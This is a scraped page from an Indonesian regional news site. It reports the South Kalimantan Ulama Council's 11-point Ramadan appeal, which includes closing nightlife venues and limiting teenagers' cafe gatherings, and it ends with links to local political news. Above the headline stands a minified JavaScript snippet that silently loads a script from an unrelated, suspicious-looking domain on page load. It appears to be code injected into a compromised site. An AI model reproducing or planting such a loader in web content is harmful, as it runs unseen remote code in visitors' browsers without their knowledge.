(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Seruan MUI Kalsel Sambut Ramadhan: Tutup Total THM, Batasi Pergaulan Bebas Remaja di Cafe


KANALKALIMANTAN.COM, BANJARMASIN – Menyambut bulan suci Ramadhan 1444 hijriyah, Majelis Ulama Indonesia (MUI) Provinsi Kalimantan Selatan (Kalsel) memberikan sejumlah imbauan.

Dalam surat imbauan yang ditandatangani Ketua MUI Kalsel KH Husin Naparin dan Sekretaris H Nasrullah ada 11 poin yang menjadi seruan MUI Kalsel kepada umat muslim di Kalsel selama bulan Ramadhan.

Kesebelas poin tersebut antara lain, menyambut bulan Ramadhan dengan rasa syukur, memakmurkan tempat-tempat ibadah, memperbanyak tadarus Al Quran, menjadi pribadi yang berakhlak mulia, serta mengagungkan syiar Islam.

Kemudian mengintensifkan pembinaan keagamaan bagi orangtua kepada anaknya, memperbanyak infaq dan sedekah, mendirikan shalat tarawih berjemaah, serta amalan-amalan sunnah lainnya.

 

Baca juga: Usai Dilaporkan Tenggelam, Jasad Darsyah Ditemukan Mengapung di Sungai Tapin

MUI Kalsel juga melakukan imbauan dan mendorong agar Tempat Hiburan Malam (THM) selama bulan Ramadhan untuk ditutup total.

“Kami berharap dan mendorong kepada pihak yang berwenang agar menutup total kegiatan THM, serta mencegah sarana pergaulan bebas (cafe-cafe) dan kebut-kebutan di kalangan remaja,” kata KH Husin Naparin dalam surat imbauan yang diterima Kanalkalimantan.com, Minggu (19/3/2023) siang.

MUI Kalsel juga mengimbau masyarakat dan semua pihak untuk memelihara situasi agar tetap kondusif, untuk  keamanan dan kenyamanan dalam beribadah selama bulan Ramadhan.

Kerja sama yang intensif antara ulama dengan umara (pemerintahan provinsi, pemerintah kabupaten/kota, dan TNI Polri) juga didorong selama bulan Ramadhan.

Baca juga: LPTQ Banjar Bersiap Hadapi MTQ Tingkat Provinsi Kalsel

Selain itu, MUI Kalsel juga meminta pemerintah untuk menerapkan Peraturan Daerah (Perda) Ramadhan yang berlaku di kabupaten kota.

“Kami minta kepada pemerintah provinsi Kalimantan Selatan dan TNI Polri serta stackholder mendukung Perda Ramadhan yang sudah ada di provinsi Kalsel dan kabupaten kota,” tutup surat imbauan tersebut. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

2 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

3 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

3 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

6 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

8 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

18 jam ago

This website uses cookies.